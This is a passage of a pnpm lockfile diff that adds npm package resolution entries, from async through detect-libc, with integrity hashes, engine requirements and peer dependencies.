sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==} + engines: {node: '>= 0.4'} + + async@3.2.6: + resolution: {integrity: sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==} + + asynckit@0.4.0: + resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + + asyncro@3.0.0: + resolution: {integrity: sha512-nEnWYfrBmA3taTiuiOoZYmgJ/CNrSoQLeLs29SeLcPu60yaw/mHDBHV0iOZ051fTvsTHxpCY+gXibqT9wbQYfg==} + + autoprefixer@10.4.21: + resolution: {integrity: sha512-O+A6LWV5LDHSJD3LjHYoNi4VLsj/Whi7k6zG12xTYaU4cQ8oxQGckXNX8cRHK5yOZ/ppVHe0ZBXGzSV9jXdVbQ==} + engines: {node: ^10 || ^12 || >=14} + hasBin: true + peerDependencies: + postcss: ^8.1.0 + + available-typed-arrays@1.0.7: + resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} + engines: {node: '>= 0.4'} + + axios@1.8.4: + resolution: {integrity: sha512-eBSYY4Y68NNlHbHBMdeDmKNtDgXWhQsJcGqzO3iLUM0GraQFSS9cVgPX5I9b3lbdFKyYoAEGAZF1DwhTaljNAw==} + + axobject-query@4.1.0: + resolution: {integrity: sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==} + engines: {node: '>= 0.4'} + + babel-plugin-macros@3.1.0: + resolution: {integrity: sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==} + engines: {node: '>=10', npm: '>=6'} + + babel-plugin-polyfill-corejs2@0.4.14: + resolution: {integrity: sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg==} + peerDependencies: + '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0 + + babel-plugin-polyfill-corejs3@0.13.0: + resolution: {integrity: sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A==} + peerDependencies: + '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0 + + babel-plugin-polyfill-regenerator@0.6.5: + resolution: {integrity: sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg==} + peerDependencies: + '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0 + + babel-plugin-transform-async-to-promises@0.8.18: + resolution: {integrity: sha512-WpOrF76nUHijnNn10eBGOHZmXQC8JYRME9rOLxStOga7Av2VO53ehVFvVNImMksVtQuL2/7ZNxEgxnx7oo/3Hw==} + + babel-plugin-transform-replace-expressions@0.2.0: + resolution: {integrity: sha512-Eh1rRd9hWEYgkgoA3D0kGp7xJ/wgVshgsqmq60iC4HVWD+Lux+fNHSHBa2v1Hsv+dHflShC71qKhiH40OiPtDA==} + peerDependencies: + '@babel/core': ^7.0.0-0 + + bail@2.0.2: + resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} + + balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + + base-64@1.0.0: + resolution: {integrity: sha512-kwDPIFCGx0NZHog36dj+tHiwP4QMzsZ3AgMViUBKI0+V5n4U0ufTCUMhnQ04diaRI8EX/QcPfql7zlhZ7j4zgg==} + + base64-js@1.5.1: + resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} + + bcp-47-match@2.0.3: + resolution: {integrity: sha512-JtTezzbAibu8G0R9op9zb3vcWZd9JF6M0xOYGPn0fNCd7wOpRB1mU2mH9T8gaBGbAAyIIVgB2G7xG0GP98zMAQ==} + + binary-extensions@2.3.0: + resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} + engines: {node: '>=8'} + + blob-to-buffer@1.2.9: + resolution: {integrity: sha512-BF033y5fN6OCofD3vgHmNtwZWRcq9NLyyxyILx9hfMy1sXYy4ojFl765hJ2lP0YaN2fuxPaLO2Vzzoxy0FLFFA==} + + boolbase@1.0.0: + resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} + + boxen@8.0.1: + resolution: {integrity: sha512-F3PH5k5juxom4xktynS7MoFY+NUWH5LC4CnH11YB8NPew+HLpmBLCybSAEyb2F+4pRXhuhWqFesoQd6DAyc2hw==} + engines: {node: '>=18'} + + brace-expansion@1.1.12: + resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==} + + brace-expansion@2.0.1: + resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==} + + brace-expansion@2.0.2: + resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==} + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + brotli-size@4.0.0: + resolution: {integrity: sha512-uA9fOtlTRC0iqKfzff1W34DXUA3GyVqbUaeo3Rw3d4gd1eavKVCETXrn3NzO74W+UVkG3UHu8WxUi+XvKI/huA==} + engines: {node: '>= 10.16.0'} + + brotli@1.3.3: + resolution: {integrity: sha512-oTKjJdShmDuGW94SyyaoQvAjf30dZaHnjJ8uAF+u2/vGJkJbJPJAT1gDiOJP5v1Zb6f9KEyW/1HpuaWIXtGHPg==} + + browserslist@4.24.4: + resolution: {integrity: sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + browserslist@4.25.1: + resolution: {integrity: sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + buffer-crc32@0.2.13: + resolution: {integrity: sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==} + + buffer-from@1.1.2: + resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} + + builtin-modules@3.3.0: + resolution: {integrity: sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==} + engines: {node: '>=6'} + + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + call-bind@1.0.8: + resolution: {integrity: sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==} + engines: {node: '>= 0.4'} + + call-bound@1.0.4: + resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} + engines: {node: '>= 0.4'} + + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + + camelcase-css@2.0.1: + resolution: {integrity: sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==} + engines: {node: '>= 6'} + + camelcase@6.3.0: + resolution: {integrity: sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==} + engines: {node: '>=10'} + + camelcase@8.0.0: + resolution: {integrity: sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA==} + engines: {node: '>=16'} + + caniuse-api@3.0.0: + resolution: {integrity: sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==} + + caniuse-lite@1.0.30001707: + resolution: {integrity: sha512-3qtRjw/HQSMlDWf+X79N206fepf4SOOU6SQLMaq/0KkZLmSjPxAkBOQQ+FxbHKfHmYLZFfdWsO3KA90ceHPSnw==} + + caniuse-lite@1.0.30001727: + resolution: {integrity: sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==} + + ccount@2.0.1: + resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} + + chalk@1.1.3: + resolution: {integrity: sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==} + engines: {node: '>=0.10.0'} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + chalk@5.6.2: + resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} + engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} + + character-entities-html4@2.1.0: + resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} + + character-entities-legacy@3.0.0: + resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + + character-entities@2.0.2: + resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} + + character-reference-invalid@2.0.1: + resolution: {integrity: sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==} + + cheerio-select@2.1.0: + resolution: {integrity: sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==} + + cheerio@1.0.0: + resolution: {integrity: sha512-quS9HgjQpdaXOvsZz82Oz7uxtXiy6UIsIQcpBj7HRw2M63Skasm9qlDocAM7jNuaxdhpPU7c4kJN+gA5MCu4ww==} + engines: {node: '>=18.17'} + + chokidar@3.6.0: + resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==} + engines: {node: '>= 8.10.0'} + + chokidar@4.0.3: + resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==} + engines: {node: '>= 14.16.0'} + + chownr@2.0.0: + resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==} + engines: {node: '>=10'} + + ci-info@4.3.0: + resolution: {integrity: sha512-l+2bNRMiQgcfILUi33labAZYIWlH1kWDp+ecNo5iisRKrbm0xcRyCww71/YU0Fkw0mAFpz9bJayXPjey6vkmaQ==} + engines: {node: '>=8'} + + class-variance-authority@0.7.1: + resolution: {integrity: sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==} + + cli-boxes@3.0.0: + resolution: {integrity: sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==} + engines: {node: '>=10'} + + cliui@8.0.1: + resolution: {integrity: sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==} + engines: {node: '>=12'} + + clone@2.1.2: + resolution: {integrity: sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==} + engines: {node: '>=0.8'} + + clsx@2.1.1: + resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} + engines: {node: '>=6'} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + colord@2.9.3: + resolution: {integrity: sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==} + + combined-stream@1.0.8: + resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} + engines: {node: '>= 0.8'} + + comma-separated-tokens@2.0.3: + resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} + + commander@2.20.3: + resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==} + + commander@4.1.1: + resolution: {integrity: sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==} + engines: {node: '>= 6'} + + commander@7.2.0: + resolution: {integrity: sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==} + engines: {node: '>= 10'} + + commander@8.3.0: + resolution: {integrity: sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==} + engines: {node: '>= 12'} + + common-ancestor-path@1.0.1: + resolution: {integrity: sha512-L3sHRo1pXXEqX8VU28kfgUY+YGsk09hPqZiZmLacNib6XNTCM8ubYeT7ryXQw8asB1sKgcU5lkB7ONug08aB8w==} + + commondir@1.0.1: + resolution: {integrity: sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==} + + concat-map@0.0.1: + resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} + + concat-with-sourcemaps@1.1.0: + resolution: {integrity: sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg==} + + confbox@0.1.8: + resolution: {integrity: sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==} + + confbox@0.2.1: + resolution: {integrity: sha512-hkT3yDPFbs95mNCy1+7qNKC6Pro+/ibzYxtM2iqEigpf0sVw+bg4Zh9/snjsBcf990vfIsg5+1U7VyiyBb3etg==} + + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + + cookie-es@1.2.2: + resolution: {integrity: sha512-+W7VmiVINB+ywl1HGXJXmrqkOhpKrIiVZV6tQuV54ZyQC7MMuBt81Vc336GMLoHBq5hV/F9eXgt5Mnx0Rha5Fg==} + + cookie@1.0.2: + resolution: {integrity: sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==} + engines: {node: '>=18'} + + core-js-compat@3.44.0: + resolution: {integrity: sha512-JepmAj2zfl6ogy34qfWtcE7nHKAJnKsQFRn++scjVS2bZFllwptzw61BZcZFYBPpUznLfAvh0LGhxKppk04ClA==} + + cosmiconfig@7.1.0: + resolution: {integrity: sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==} + engines: {node: '>=10'} + + cross-fetch@3.2.0: + resolution: {integrity: sha512-Q+xVJLoGOeIMXZmbUK4HYk+69cQH6LudR0Vu/pRm2YlU/hDV9CiS0gKUMaWY5f2NeUH9C1nV3bsTlCo0FsTV1Q==} + + cross-spawn@7.0.6: + resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} + engines: {node: '>= 8'} + + crossws@0.3.5: + resolution: {integrity: sha512-ojKiDvcmByhwa8YYqbQI/hg7MEU0NC03+pSdEq4ZUnZR9xXpwk7E43SMNGkn+JxJGPFtNvQ48+vV2p+P1ml5PA==} + + css-declaration-sorter@6.4.1: + resolution: {integrity: sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==} + engines: {node: ^10 || ^12 || >=14} + peerDependencies: + postcss: ^8.0.9 + + css-select@4.3.0: + resolution: {integrity: sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==} + + css-select@5.1.0: + resolution: {integrity: sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==} + + css-selector-parser@3.1.3: + resolution: {integrity: sha512-gJMigczVZqYAk0hPVzx/M4Hm1D9QOtqkdQk9005TNzDIUGzo5cnHEDiKUT7jGPximL/oYb+LIitcHFQ4aKupxg==} + + css-tree@1.1.3: + resolution: {integrity: sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==} + engines: {node: '>=8.0.0'} + + css-tree@2.2.1: + resolution: {integrity: sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0, npm: '>=7.0.0'} + + css-tree@2.3.1: + resolution: {integrity: sha512-6Fv1DV/TYw//QF5IzQdqsNDjx/wc8TrMBZsqjL9eW01tWb7R7k/mq+/VXfJCl7SoD5emsJop9cOByJZfs8hYIw==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0} + + css-tree@3.1.0: + resolution: {integrity: sha512-0eW44TGN5SQXU1mWSkKwFstI/22X2bG1nYzZTYMAWjylYURhse752YgbE4Cx46AC+bAvI+/dYTPRk1LqSUnu6w==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0} + + css-what@6.1.0: + resolution: {integrity: sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==} + engines: {node: '>= 6'} + + css-what@6.2.2: + resolution: {integrity: sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==} + engines: {node: '>= 6'} + + cssesc@3.0.0: + resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} + engines: {node: '>=4'} + hasBin: true + + cssnano-preset-default@5.2.14: + resolution: {integrity: sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + cssnano-utils@3.1.0: + resolution: {integrity: sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + cssnano@5.1.15: + resolution: {integrity: sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + csso@4.2.0: + resolution: {integrity: sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==} + engines: {node: '>=8.0.0'} + + csso@5.0.5: + resolution: {integrity: sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==} + engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0, npm: '>=7.0.0'} + + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + + data-view-buffer@1.0.2: + resolution: {integrity: sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==} + engines: {node: '>= 0.4'} + + data-view-byte-length@1.0.2: + resolution: {integrity: sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==} + engines: {node: '>= 0.4'} + + data-view-byte-offset@1.0.1: + resolution: {integrity: sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==} + engines: {node: '>= 0.4'} + + debug@4.4.0: + resolution: {integrity: sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + decode-named-character-reference@1.1.0: + resolution: {integrity: sha512-Wy+JTSbFThEOXQIR2L6mxJvEs+veIzpmqD7ynWxMXGpnk3smkHQOp6forLdHsKpAMW9iJpaBBIxz285t1n1C3w==} + + dedent-js@1.0.1: + resolution: {integrity: sha512-OUepMozQULMLUmhxS95Vudo0jb0UchLimi3+pQ2plj61Fcy8axbP9hbiD4Sz6DPqn6XG3kfmziVfQ1rSys5AJQ==} + + deepmerge@4.3.1: + resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==} + engines: {node: '>=0.10.0'} + + define-data-property@1.1.4: + resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} + engines: {node: '>= 0.4'} + + define-lazy-prop@2.0.0: + resolution: {integrity: sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==} + engines: {node: '>=8'} + + define-properties@1.2.1: + resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} + engines: {node: '>= 0.4'} + + defu@6.1.4: + resolution: {integrity: sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg==} + + delayed-stream@1.0.0: + resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==} + engines: {node: '>=0.4.0'} + + delegate-it@6.2.1: + resolution: {integrity: sha512-3/P/rwj+zal/99EEml7y1+bXjBY+Wok/WSg0EngWAtdvHK6iKTPbABQE84RyyRfR0Fmejs93BrkZQWlgyeWuFQ==} + + dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} + + destr@2.0.5: + resolution: {integrity: sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==} + + detect-libc@1.0.3: + resolution: {integrity: sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==} + engines: 